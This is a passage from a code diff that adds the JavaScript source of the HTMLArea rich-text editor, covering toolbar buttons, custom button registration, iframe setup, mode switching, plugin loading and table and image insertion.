+ // - ToolTip: default tooltip, for cases when it is not defined in the -lang- file (HTMLArea.I18N)
+ // - Icon: path to an icon image file for the button (TODO: use one image for all buttons!)
+ // - Enabled in text mode: if false the button gets disabled for text-only mode; otherwise enabled all the time.
+ this.btnList = {
+ bold: [ "Bold", "images/ed_format_bold.gif", false, function(e) {e.execCommand("bold");} ],
+ italic: [ "Italic", "images/ed_format_italic.gif", false, function(e) {e.execCommand("italic");} ],
+ underline: [ "Underline", "images/ed_format_underline.gif", false, function(e) {e.execCommand("underline");} ],
+ strikethrough: [ "Strikethrough", "images/ed_format_strike.gif", false, function(e) {e.execCommand("strikethrough");} ],
+ subscript: [ "Subscript", "images/ed_format_sub.gif", false, function(e) {e.execCommand("subscript");} ],
+ superscript: [ "Superscript", "images/ed_format_sup.gif", false, function(e) {e.execCommand("superscript");} ],
+ justifyleft: [ "Justify Left", "images/ed_align_left.gif", false, function(e) {e.execCommand("justifyleft");} ],
+ justifycenter: [ "Justify Center", "images/ed_align_center.gif", false, function(e) {e.execCommand("justifycenter");} ],
+ justifyright: [ "Justify Right", "images/ed_align_right.gif", false, function(e) {e.execCommand("justifyright");} ],
+ justifyfull: [ "Justify Full", "images/ed_align_justify.gif", false, function(e) {e.execCommand("justifyfull");} ],
+ insertorderedlist: [ "Ordered List", "images/ed_list_num.gif", false, function(e) {e.execCommand("insertorderedlist");} ],
+ insertunorderedlist: [ "Bulleted List", "images/ed_list_bullet.gif", false, function(e) {e.execCommand("insertunorderedlist");} ],
+ outdent: [ "Decrease Indent", "images/ed_indent_less.gif", false, function(e) {e.execCommand("outdent");} ],
+ indent: [ "Increase Indent", "images/ed_indent_more.gif", false, function(e) {e.execCommand("indent");} ],
+ forecolor: [ "Font Color", "images/ed_color_fg.gif", false, function(e) {e.execCommand("forecolor");} ],
+ hilitecolor: [ "Background Color", "images/ed_color_bg.gif", false, function(e) {e.execCommand("hilitecolor");} ],
+ inserthorizontalrule: [ "Horizontal Rule", "images/ed_hr.gif", false, function(e) {e.execCommand("inserthorizontalrule");} ],
+ createlink: [ "Insert Web Link", "images/ed_link.gif", false, function(e) {e.execCommand("createlink", true);} ],
+ insertimage: [ "Insert Image", "images/ed_image.gif", false, function(e) {e.execCommand("insertimage");} ],
+ inserttable: [ "Insert Table", "images/insert_table.gif", false, function(e) {e.execCommand("inserttable");} ],
+ htmlmode: [ "Toggle HTML Source", "images/ed_html.gif", true, function(e) {e.execCommand("htmlmode");} ],
+ popupeditor: [ "Enlarge Editor", "images/fullscreen_maximize.gif", true, function(e) {e.execCommand("popupeditor");} ],
+ about: [ "About this editor", "images/ed_about.gif", true, function(e) {e.execCommand("about");} ],
+ showhelp: [ "Help using editor", "images/ed_help.gif", true, function(e) {e.execCommand("showhelp");} ],
+ undo: [ "Undoes your last action", "images/ed_undo.gif", false, function(e) {e.execCommand("undo");} ],
+ redo: [ "Redoes your last action", "images/ed_redo.gif", false, function(e) {e.execCommand("redo");} ],
+ cut: [ "Cut selection", "images/ed_cut.gif", false, cut_copy_paste ],
+ copy: [ "Copy selection", "images/ed_copy.gif", false, cut_copy_paste ],
+ paste: [ "Paste from clipboard", "images/ed_paste.gif", false, cut_copy_paste ]
+ };
+ /* ADDING CUSTOM BUTTONS
+ * ---------------------
+ *
+ * It is recommended that you add the custom buttons in an external
+ * file and leave this one unchanged. That's because when we
+ * (InteractiveTools.com) release a new official version, it's less
+ * likely that you will have problems upgrading HTMLArea.
+ *
+ * Example on how to add a custom button when you construct the HTMLArea:
+ *
+ * var editor = new HTMLArea("your_text_area_id");
+ * var cfg = editor.config; // this is the default configuration
+ * cfg.btnList["my-hilite"] =
+ * [ function(editor) { editor.surroundHTML('<span style="background:yellow">', '</span>'); }, // action
+ * "Highlight selection", // tooltip
+ * "my_hilite.gif", // image
+ * false // disabled in text mode
+ * ];
+ * cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+ *
+ * An alternate (also more convenient and recommended) way to
+ * accomplish this is to use the registerButton function below.
+ */
+ // initialize tooltips from the I18N module
+ for (var i in this.btnList) {
+ var btn = this.btnList[i];
+ if (typeof HTMLArea.I18N.tooltips[i] != "undefined") {
+ btn[0] = HTMLArea.I18N.tooltips[i];
+ }
+ }
+};
+
+/** Helper function: register a new button with the configuration. It can be
+ * called with all 5 arguments, or with only one (first one). When called with
+ * only one argument it must be an object with the following properties: id,
+ * tooltip, image, textMode, action. Examples:
+ *
+ * 1. config.registerButton("my-hilite", "Hilite text", "my-hilite.gif", false, function(editor) {...});
+ * 2. config.registerButton({
+ * id : "my-hilite", // the ID of your button
+ * tooltip : "Hilite text", // the tooltip
+ * image : "my-hilite.gif", // image to be displayed in the toolbar
+ * textMode : false, // disabled in text mode
+ * action : function(editor) { // called when the button is clicked
+ * editor.surroundHTML('<span class="hilite">', '</span>');
+ * },
+ * context : "p" // will be disabled if outside a <p> element
+ * });
+ */
+HTMLArea.Config.prototype.registerButton = function(id, tooltip, image, textMode, action, context) {
+ var the_id;
+ if (typeof id == "string") {
+ the_id = id;
+ } else if (typeof id == "object") {
+ the_id = id.id;
+ } else {
+ alert("ERROR [HTMLArea.Config::registerButton]:\ninvalid arguments");
+ return false;
+ }
+ // check for existing id
+ if (typeof this.customSelects[the_id] != "undefined") {
+ alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[the_id] != "undefined") {
+ alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ switch (typeof id) {
+ case "string": this.btnList[id] = [ tooltip, image, textMode, action, context ]; break;
+ case "object": this.btnList[id.id] = [ id.tooltip, id.image, id.textMode, id.action, id.context ]; break;
+ }
+};
+
+/** The following helper function registers a dropdown box with the editor
+ * configuration. You still have to add it to the toolbar, same as with the
+ * buttons. Call it like this:
+ *
+ * FIXME: add example
+ */
+HTMLArea.Config.prototype.registerDropdown = function(object) {
+ // check for existing id
+ if (typeof this.customSelects[object.id] != "undefined") {
+ alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[object.id] != "undefined") {
+ alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ this.customSelects[object.id] = object;
+};
+
+/** Helper function: replace all TEXTAREA-s in the document with HTMLArea-s. */
+HTMLArea.replaceAll = function(config) {
+ var tas = document.getElementsByTagName("textarea");
+ for (var i = tas.length; i > 0; (new HTMLArea(tas[--i], config)).generate());
+};
+
+/** Helper function: replaces the TEXTAREA with the given ID with HTMLArea. */
+HTMLArea.replace = function(id, config) {
+ var ta = document.getElementById(id);
+ return ta ? (new HTMLArea(ta, config)).generate() : null;
+};
+
+// Creates the toolbar and appends it to the _htmlarea
+HTMLArea.prototype._createToolbar = function () {
+ var editor = this; // to access this in nested functions
+
+ var toolbar = document.createElement("div");
+ this._toolbar = toolbar;
+ toolbar.className = "toolbar";
+ toolbar.unselectable = "1";
+ var tb_row = null;
+ var tb_objects = new Object();
+ this._toolbarObjects = tb_objects;
+
+ // creates a new line in the toolbar
+ function newLine() {
+ var table = document.createElement("table");
+ table.border = "0px";
+ table.cellSpacing = "0px";
+ table.cellPadding = "0px";
+ toolbar.appendChild(table);
+ // TBODY is required for IE, otherwise you don't see anything
+ // in the TABLE.
+ var tb_body = document.createElement("tbody");
+ table.appendChild(tb_body);
+ tb_row = document.createElement("tr");
+ tb_body.appendChild(tb_row);
+ }; // END of function: newLine
+ // init first line
+ newLine();
+
+ // updates the state of a toolbar element. This function is member of
+ // a toolbar element object (unnamed objects created by createButton or
+ // createSelect functions below).
+ function setButtonStatus(id, newval) {
+ var oldval = this[id];
+ var el = this.element;
+ if (oldval != newval) {
+ switch (id) {
+ case "enabled":
+ if (newval) {
+ HTMLArea._removeClass(el, "buttonDisabled");
+ el.disabled = false;
+ } else {
+ HTMLArea._addClass(el, "buttonDisabled");
+ el.disabled = true;
+ }
+ break;
+ case "active":
+ if (newval) {
+ HTMLArea._addClass(el, "buttonPressed");
+ } else {
+ HTMLArea._removeClass(el, "buttonPressed");
+ }
+ break;
+ }
+ this[id] = newval;
+ }
+ }; // END of function: setButtonStatus
+
+ // this function will handle creation of combo boxes. Receives as
+ // parameter the name of a button as defined in the toolBar config.
+ // This function is called from createButton, above, if the given "txt"
+ // doesn't match a button.
+ function createSelect(txt) {
+ var options = null;
+ var el = null;
+ var cmd = null;
+ var customSelects = editor.config.customSelects;
+ var context = null;
+ switch (txt) {
+ case "fontsize":
+ case "fontname":
+ case "formatblock":
+ // the following line retrieves the correct
+ // configuration option because the variable name
+ // inside the Config object is named the same as the
+ // button/select in the toolbar. For instance, if txt
+ // == "formatblock" we retrieve config.formatblock (or
+ // a different way to write it in JS is
+ // config["formatblock"].
+ options = editor.config[txt];
+ cmd = txt;
+ break;
+ default:
+ // try to fetch it from the list of registered selects
+ cmd = txt;
+ var dropdown = customSelects[cmd];
+ if (typeof dropdown != "undefined") {
+ options = dropdown.options;
+ context = dropdown.context;
+ } else {
+ alert("ERROR [createSelect]:\nCan't find the requested dropdown definition");
+ }
+ break;
+ }
+ if (options) {
+ el = document.createElement("select");
+ var obj = {
+ name : txt, // field name
+ element : el, // the UI element (SELECT)
+ enabled : true, // is it enabled?
+ text : false, // enabled in text mode?
+ cmd : cmd, // command ID
+ state : setButtonStatus, // for changing state
+ context : context
+ };
+ tb_objects[txt] = obj;
+ for (var i in options) {
+ var op = document.createElement("option");
+ op.appendChild(document.createTextNode(i));
+ op.value = options[i];
+ el.appendChild(op);
+ }
+ HTMLArea._addEvent(el, "change", function () {
+ editor._comboSelected(el, txt);
+ });
+ }
+ return el;
+ }; // END of function: createSelect
+
+ // appends a new button to toolbar
+ function createButton(txt) {
+ // the element that will be created
+ var el = null;
+ var btn = null;
+ switch (txt) {
+ case "separator":
+ el = document.createElement("div");
+ el.className = "separator";
+ break;
+ case "space":
+ el = document.createElement("div");
+ el.className = "space";
+ break;
+ case "linebreak":
+ newLine();
+ return false;
+ case "textindicator":
+ el = document.createElement("div");
+ el.appendChild(document.createTextNode("A"));
+ el.className = "indicator";
+ el.title = HTMLArea.I18N.tooltips.textindicator;
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : false, // enabled in text mode?
+ cmd : "textindicator", // the command ID
+ state : setButtonStatus // for changing state
+ };
+ tb_objects[txt] = obj;
+ break;
+ default:
+ btn = editor.config.btnList[txt];
+ }
+ if (!el && btn) {
+ el = document.createElement("div");
+ el.title = btn[0];
+ el.className = "button";
+ // let's just pretend we have a button object, and
+ // assign all the needed information to it.
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : btn[2], // enabled in text mode?
+ cmd : btn[3], // the command ID
+ state : setButtonStatus, // for changing state
+ context : btn[4] || null // enabled in a certain context?
+ };
+ tb_objects[txt] = obj;
+ // handlers to emulate nice flat toolbar buttons
+ HTMLArea._addEvent(el, "mouseover", function () {
+ if (obj.enabled) {
+ HTMLArea._addClass(el, "buttonHover");
+ }
+ });
+ HTMLArea._addEvent(el, "mouseout", function () {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonHover");
+ _removeClass(el, "buttonActive");
+ (obj.active) && _addClass(el, "buttonPressed");
+ }
+ });
+ HTMLArea._addEvent(el, "mousedown", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _addClass(el, "buttonActive");
+ _removeClass(el, "buttonPressed");
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ // when clicked, do the following:
+ HTMLArea._addEvent(el, "click", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonActive");
+ _removeClass(el, "buttonHover");
+ obj.cmd(editor, obj.name, obj);
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ var img = document.createElement("img");
+ img.src = editor.imgURL(btn[1]);
+ img.style.width = "18px";
+ img.style.height = "18px";
+ el.appendChild(img);
+ } else if (!el) {
+ el = createSelect(txt);
+ }
+ if (el) {
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.appendChild(el);
+ } else {
+ alert("FIXME: Unknown toolbar item: " + txt);
+ }
+ return el;
+ };
+
+ var first = true;
+ for (var i in this.config.toolbar) {
+ if (!first) {
+ createButton("linebreak");
+ } else {
+ first = false;
+ }
+ var group = this.config.toolbar[i];
+ for (var j in group) {
+ var code = group[j];
+ if (/^([IT])\[(.*?)\]/.test(code)) {
+ // special case, create text label
+ var l7ed = RegExp.$1 == "I"; // localized?
+ var label = RegExp.$2;
+ if (l7ed) {
+ label = HTMLArea.I18N.custom[label];
+ }
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.className = "label";
+ tb_cell.innerHTML = label;
+ } else {
+ createButton(code);
+ }
+ }
+ }
+
+ this._htmlArea.appendChild(toolbar);
+};
+
+HTMLArea.prototype._createStatusBar = function() {
+ var div = document.createElement("div");
+ div.className = "statusBar";
+ this._htmlArea.appendChild(div);
+ this._statusBar = div;
+ div.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ // creates a holder for the path view
+ div = document.createElement("span");
+ div.className = "statusBarTree";
+ this._statusBarTree = div;
+ this._statusBar.appendChild(div);
+ if (!this.config.statusBar) {
+ // disable it...
+ div.style.display = "none";
+ }
+};
+
+// Creates the HTMLArea object and replaces the textarea with it.
+HTMLArea.prototype.generate = function () {
+ var editor = this; // we'll need "this" in some nested functions
+ // get the textarea
+ var textarea = this._textArea;
+ if (typeof textarea == "string") {
+ // it's not element but ID
+ this._textArea = textarea = document.getElementById(textarea);
+ }
+ this._ta_size = {
+ w: textarea.offsetWidth,
+ h: textarea.offsetHeight
+ };
+ textarea.style.display = "none";
+
+ // create the editor framework
+ var htmlarea = document.createElement("div");
+ htmlarea.className = "htmlarea";
+ this._htmlArea = htmlarea;
+
+ // insert the editor before the textarea.
+ textarea.parentNode.insertBefore(htmlarea, textarea);
+
+ if (textarea.form) {
+ // we have a form, on submit get the HTMLArea content and
+ // update original textarea.
+ textarea.form.onsubmit = function() {
+ editor._textArea.value = editor.getHTML();
+ };
+ }
+
+ // add a handler for the "back/forward" case -- on body.unload we save
+ // the HTML content into the original textarea.
+ window.onunload = function() {
+ editor._textArea.value = editor.getHTML();
+ };
+
+ // creates & appends the toolbar
+ this._createToolbar();
+
+ // create the IFRAME
+ var iframe = document.createElement("iframe");
+ htmlarea.appendChild(iframe);
+
+ this._iframe = iframe;
+
+ // creates & appends the status bar, if the case
+ this._createStatusBar();
+
+ // remove the default border as it keeps us from computing correctly
+ // the sizes. (somebody tell me why doesn't this work in IE)
+
+ if (!HTMLArea.is_ie) {
+ iframe.style.borderWidth = "1px";
+ // iframe.frameBorder = "1";
+ // iframe.marginHeight = "0";
+ // iframe.marginWidth = "0";
+ }
+
+ // size the IFRAME according to user's prefs or initial textarea
+ var height = (this.config.height == "auto" ? (this._ta_size.h + "px") : this.config.height);
+ height = parseInt(height);
+ var width = (this.config.width == "auto" ? (this._ta_size.w + "px") : this.config.width);
+ width = parseInt(width);
+
+ if (!HTMLArea.is_ie) {
+ height -= 2;
+ width -= 2;
+ }
+
+ iframe.style.width = width + "px";
+ if (this.config.sizeIncludesToolbar) {
+ // substract toolbar height
+ height -= this._toolbar.offsetHeight;
+ height -= this._statusBar.offsetHeight;
+ }
+ if (height < 0) {
+ height = 0;
+ }
+ iframe.style.height = height + "px";
+
+ // the editor including the toolbar now have the same size as the
+ // original textarea.. which means that we need to reduce that a bit.
+ textarea.style.width = iframe.style.width;
+ textarea.style.height = iframe.style.height;
+
+ // IMPORTANT: we have to allow Mozilla a short time to recognize the
+ // new frame. Otherwise we get a stupid exception.
+ function initIframe() {
+ var doc = editor._iframe.contentWindow.document;
+ if (!doc) {
+ // Try again..
+ // FIXME: don't know what else to do here. Normally
+ // we'll never reach this point.
+ if (HTMLArea.is_gecko) {
+ setTimeout(initIframe, 10);
+ return false;
+ } else {
+ alert("ERROR: IFRAME can't be initialized.");
+ }
+ }
+ if (HTMLArea.is_gecko) {
+ // enable editable mode for Mozilla
+ doc.designMode = "on";
+ }
+ editor._doc = doc;
+ doc.open();
+ var html = "<html>\n";
+ html += "<head>\n";
+ html += "<style>" + editor.config.pageStyle + "</style>\n";
+ html += "</head>\n";
+ html += "<body>\n";
+ html += editor._textArea.value;
+ html += "</body>\n";
+ html += "</html>";
+ doc.write(html);
+ doc.close();
+
+ if (HTMLArea.is_ie) {
+ // enable editable mode for IE. For some reason this
+ // doesn't work if done in the same place as for Gecko
+ // (above).
+ doc.body.contentEditable = true;
+ }
+
+ editor.focusEditor();
+ // intercept some events; for updating the toolbar & keyboard handlers
+ HTMLArea._addEvents
+ (doc, ["keydown", "keypress", "mousedown", "mouseup", "drag"],
+ function (event) {
+ return editor._editorEvent(HTMLArea.is_ie ? editor._iframe.contentWindow.event : event);
+ });
+ editor.updateToolbar();
+ };
+ setTimeout(initIframe, HTMLArea.is_gecko ? 10 : 0);
+};
+
+// Switches editor mode; parameter can be "textmode" or "wysiwyg". If no
+// parameter was passed this function toggles between modes.
+HTMLArea.prototype.setMode = function(mode) {
+ if (typeof mode == "undefined") {
+ mode = ((this._editMode == "textmode") ? "wysiwyg" : "textmode");
+ }
+ switch (mode) {
+ case "textmode":
+ this._textArea.value = this.getHTML();
+ this._iframe.style.display = "none";
+ this._textArea.style.display = "block";
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = HTMLArea.I18N.msg["TEXT_MODE"];
+ }
+ break;
+ case "wysiwyg":
+ if (HTMLArea.is_gecko) {
+ // disable design mode before changing innerHTML
+ this._doc.designMode = "off";
+ }
+ this._doc.body.innerHTML = this.getHTML();
+ this._iframe.style.display = "block";
+ this._textArea.style.display = "none";
+ if (HTMLArea.is_gecko) {
+ // we need to refresh that info for Moz-1.3a
+ this._doc.designMode = "on";
+ }
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = '';
+ this._statusBar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ this._statusBar.appendChild(this._statusBarTree);
+ }
+ break;
+ default:
+ alert("Mode <" + mode + "> not defined!");
+ return false;
+ }
+ this._editMode = mode;
+ this.focusEditor();
+};
+
+/***************************************************
+ * Category: PLUGINS
+ ***************************************************/
+
+// Create the specified plugin and register it with this HTMLArea
+HTMLArea.prototype.registerPlugin = function(pluginName) {
+ this.plugins[pluginName] = eval("new " + pluginName + "(this);");
+};
+
+// static function that loads the required plugin and lang file, based on the
+// language loaded already for HTMLArea. You better make sure that the plugin
+// _has_ that language, otherwise shit might happen ;-)
+HTMLArea.loadPlugin = function(pluginName) {
+ var editorurl = '';
+ if (typeof _editor_url != "undefined") {
+ editorurl = _editor_url + "/";
+ }
+ var dir = editorurl + "plugins/" + pluginName;
+ var plugin = pluginName.replace(/([a-z])([A-Z])([a-z])/g,
+ function (str, l1, l2, l3) {
+ return l1 + "-" + l2.toLowerCase() + l3;
+ }).toLowerCase() + ".js";
+ document.write("<script type='text/javascript' src='" + dir + "/" + plugin + "'></script>");
+ document.write("<script type='text/javascript' src='" + dir + "/lang/" + HTMLArea.I18N.lang + ".js'></script>");
+};
+
+/***************************************************
+ * Category: EDITOR UTILITIES
+ ***************************************************/
+
+HTMLArea.prototype.forceRedraw = function() {
+ this._doc.body.style.visibility = "hidden";
+ this._doc.body.style.visibility = "visible";
+ // this._doc.body.innerHTML = this.getInnerHTML();
+};
+
+// focuses the iframe window. returns a reference to the editor document.
+HTMLArea.prototype.focusEditor = function() {
+ switch (this._editMode) {
+ case "wysiwyg" : this._iframe.contentWindow.focus(); break;
+ case "textmode": this._textArea.focus(); break;
+ default : alert("ERROR: mode " + this._editMode + " is not defined");
+ }
+ return this._doc;
+};
+
+// updates enabled/disable/active state of the toolbar elements
+HTMLArea.prototype.updateToolbar = function(noStatus) {
+ var doc = this._doc;
+ var text = (this._editMode == "textmode");
+ var ancestors = null;
+ if (!text) {
+ ancestors = this.getAllAncestors();
+ if (this.config.statusBar && !noStatus) {
+ this._statusBarTree.innerHTML = ''; // clear
+ for (var i = ancestors.length; --i >= 0;) {
+ var el = ancestors[i];
+ if (!el) {
+ // hell knows why we get here; this
+ // could be a classic example of why
+ // it's good to check for conditions
+ // that are impossible to happen ;-)
+ continue;
+ }
+ var a = document.createElement("a");
+ a.href = "#";
+ a.el = el;
+ a.editor = this;
+ a.onclick = function() {
+ this.blur();
+ this.editor.selectNodeContents(this.el);
+ this.editor.updateToolbar(true);
+ return false;
+ };
+ a.oncontextmenu = function() {
+ // TODO: add context menu here
+ this.blur();
+ var info = "Inline style:\n\n";
+ info += this.el.style.cssText.split(/;\s*/).join(";\n");
+ alert(info);
+ return false;
+ };
+ var txt = el.tagName.toLowerCase();
+ a.title = el.style.cssText;
+ if (el.id) {
+ txt += "#" + el.id;
+ }
+ if (el.className) {
+ txt += "." + el.className;
+ }
+ a.appendChild(document.createTextNode(txt));
+ this._statusBarTree.appendChild(a);
+ if (i != 0) {
+ this._statusBarTree.appendChild(document.createTextNode(String.fromCharCode(0xbb)));
+ }
+ }
+ }
+ }
+ for (var i in this._toolbarObjects) {
+ var btn = this._toolbarObjects[i];
+ var cmd = i;
+ var inContext = true;
+ if (btn.context && !text) {
+ inContext = false;
+ var context = btn.context;
+ var attrs = [];
+ if (/(.*)\[(.*?)\]/.test(context)) {
+ context = RegExp.$1;
+ attrs = RegExp.$2.split(",");
+ }
+ context = context.toLowerCase();
+ var match = (context == "*");
+ for (var k in ancestors) {
+ if (!ancestors[k]) {
+ // the impossible really happens.
+ continue;
+ }
+ if (match || (ancestors[k].tagName.toLowerCase() == context)) {
+ inContext = true;
+ for (var ka in attrs) {
+ if (!eval("ancestors[k]." + attrs[ka])) {
+ inContext = false;
+ break;
+ }
+ }
+ if (inContext) {
+ break;
+ }
+ }
+ }
+ }
+ btn.state("enabled", (!text || btn.text) && inContext);
+ if (typeof cmd == "function") {
+ continue;
+ }
+ // look-it-up in the custom dropdown boxes
+ var dropdown = this.config.customSelects[cmd];
+ if ((!text || btn.text) && (typeof dropdown != "undefined")) {
+ dropdown.refresh(this);
+ continue;
+ }
+ switch (cmd) {
+ case "fontname":
+ case "fontsize":
+ case "formatblock":
+ if (!text) {
+ var value = ("" + doc.queryCommandValue(cmd)).toLowerCase();
+ if (!value) {
+ // FIXME: what do we do here?
+ break;
+ }
+ // HACK -- retrieve the config option for this
+ // combo box. We rely on the fact that the
+ // variable in config has the same name as
+ // button name in the toolbar.
+ var options = this.config[cmd];
+ var k = 0;
+ // btn.element.selectedIndex = 0;
+ for (var j in options) {
+ // FIXME: the following line is scary.
+ if ((j.toLowerCase() == value) ||
+ (options[j].substr(0, value.length).toLowerCase() == value)) {
+ btn.element.selectedIndex = k;
+ break;
+ }
+ ++k;
+ }
+ }
+ break;
+ case "textindicator":
+ if (!text) {
+ try {with (btn.element.style) {
+ backgroundColor = HTMLArea._makeColor(
+ doc.queryCommandValue(HTMLArea.is_ie ? "backcolor" : "hilitecolor"));
+ if (/transparent/i.test(backgroundColor)) {
+ // Mozilla
+ backgroundColor = HTMLArea._makeColor(doc.queryCommandValue("backcolor"));
+ }
+ color = HTMLArea._makeColor(doc.queryCommandValue("forecolor"));
+ fontFamily = doc.queryCommandValue("fontname");
+ fontWeight = doc.queryCommandState("bold") ? "bold" : "normal";
+ fontStyle = doc.queryCommandState("italic") ? "italic" : "normal";
+ }} catch (e) {
+ // alert(e + "\n\n" + cmd);
+ }
+ }
+ break;
+ case "htmlmode": btn.state("active", text); break;
+ default:
+ try {
+ btn.state("active", (!text && doc.queryCommandState(cmd)));
+ } catch (e) {}
+ }
+ }
+};
+
+/** Returns a node after which we can insert other nodes, in the current
+ * selection. The selection is removed. It splits a text node, if needed.
+ */
+HTMLArea.prototype.insertNodeAtSelection = function(toBeInserted) {
+ if (!HTMLArea.is_ie) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ // remove the current selection
+ sel.removeAllRanges();
+ range.deleteContents();
+ var node = range.startContainer;
+ var pos = range.startOffset;
+ switch (node.nodeType) {
+ case 3: // Node.TEXT_NODE
+ // we have to split it at the caret position.
+ if (toBeInserted.nodeType == 3) {
+ // do optimized insertion
+ node.insertData(pos, toBeInserted.data);
+ range = this._createRange();
+ range.setEnd(node, pos + toBeInserted.length);
+ range.setStart(node, pos + toBeInserted.length);
+ sel.addRange(range);
+ } else {
+ node = node.splitText(pos);
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.parentNode.insertBefore(toBeInserted, node);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ }
+ break;
+ case 1: // Node.ELEMENT_NODE
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.insertBefore(toBeInserted, node.childNodes[pos]);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ break;
+ }
+ } else {
+ return null; // this function not yet used for IE <FIXME>
+ }
+};
+
+// Returns the deepest node that contains both endpoints of the selection.
+HTMLArea.prototype.getParentElement = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ return range.parentElement ? range.parentElement() : this._doc.body;
+ } else {
+ var p = range.commonAncestorContainer;
+ while (p.nodeType == 3) {
+ p = p.parentNode;
+ }
+ return p;
+ }
+};
+
+// Returns an array with all the ancestor nodes of the selection.
+HTMLArea.prototype.getAllAncestors = function() {
+ var p = this.getParentElement();
+ var a = [];
+ while (p && (p.nodeType == 1) && (p.tagName.toLowerCase() != 'body')) {
+ a.push(p);
+ p = p.parentNode;
+ }
+ a.push(this._doc.body);
+ return a;
+};
+
+// Selects the contents inside the given node
+HTMLArea.prototype.selectNodeContents = function(node, pos) {
+ this.focusEditor();
+ this.forceRedraw();
+ var range;
+ var collapsed = (typeof pos != "undefined");
+ if (HTMLArea.is_ie) {
+ range = this._doc.body.createTextRange();
+ range.moveToElementText(node);
+ (collapsed) && range.collapse(pos);
+ range.select();
+ } else {
+ var sel = this._getSelection();
+ range = this._doc.createRange();
+ range.selectNodeContents(node);
+ (collapsed) && range.collapse(pos);
+ sel.removeAllRanges();
+ sel.addRange(range);
+ }
+};
+
+/** Call this function to insert HTML code at the current position. It deletes
+ * the selection, if any.
+ */
+HTMLArea.prototype.insertHTML = function(html) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(html);
+ } else {
+ // construct a new document fragment with the given HTML
+ var fragment = this._doc.createDocumentFragment();
+ var div = this._doc.createElement("div");
+ div.innerHTML = html;
+ while (div.firstChild) {
+ // the following call also removes the node from div
+ fragment.appendChild(div.firstChild);
+ }
+ // this also removes the selection
+ var node = this.insertNodeAtSelection(fragment);
+ }
+};
+
+/**
+ * Call this function to surround the existing HTML code in the selection with
+ * your tags. FIXME: buggy! This function will be deprecated "soon".
+ */
+HTMLArea.prototype.surroundHTML = function(startTag, endTag) {
+ var html = this.getSelectedHTML();
+ // the following also deletes the selection
+ this.insertHTML(startTag + html + endTag);
+};
+
+/// Retrieve the selected block
+HTMLArea.prototype.getSelectedHTML = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var existing = null;
+ if (HTMLArea.is_ie) {
+ existing = range.htmlText;
+ } else {
+ existing = HTMLArea.getHTML(range.cloneContents(), false);
+ }
+ return existing;
+};
+
+// Called when the user clicks on "InsertImage" button
+HTMLArea.prototype._insertImage = function() {
+ var editor = this; // for nested functions
+ this._popupDialog("insert_image.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param["f_url"]);
+ var img = null;
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ for (field in param) {
+ var value = param[field];
+ if (!value) {
+ continue;
+ }
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value); break;
+ case "f_horiz" : img.hspace = parseInt(value); break;
+ }
+ }
+ }, null);
+};
+
+// Called when the user clicks the Insert Table button
+HTMLArea.prototype._insertTable = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var editor = this; // for nested functions
+ this._popupDialog("insert_table.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var doc = editor._doc;
+ // create the table element
+ var table = doc.createElement("table");
+ // assign the given arguments
+ for (var field in param) {
+ var value = param[field];
+ if (!value) {
+ continue;
+ }
+ switch (field) {
+ case "f_width" : table.style.width = value + param["f_unit"]; break;
+ case "f_align" : table.align = value; break;
+ case "f_border" : table.border = parseInt(value); break;
+ case "f_spacing" : table.cellspacing = parseInt(value); break;
+ case "f_padding" : table.cellpadding = parseInt(value); break;
+ }
+ }
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ for (var i = 0; i < param["f_rows"]; ++i) {
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ for (var j = 0; j < param["f_cols"]; ++j) {
+ var td = doc.createElement("td");
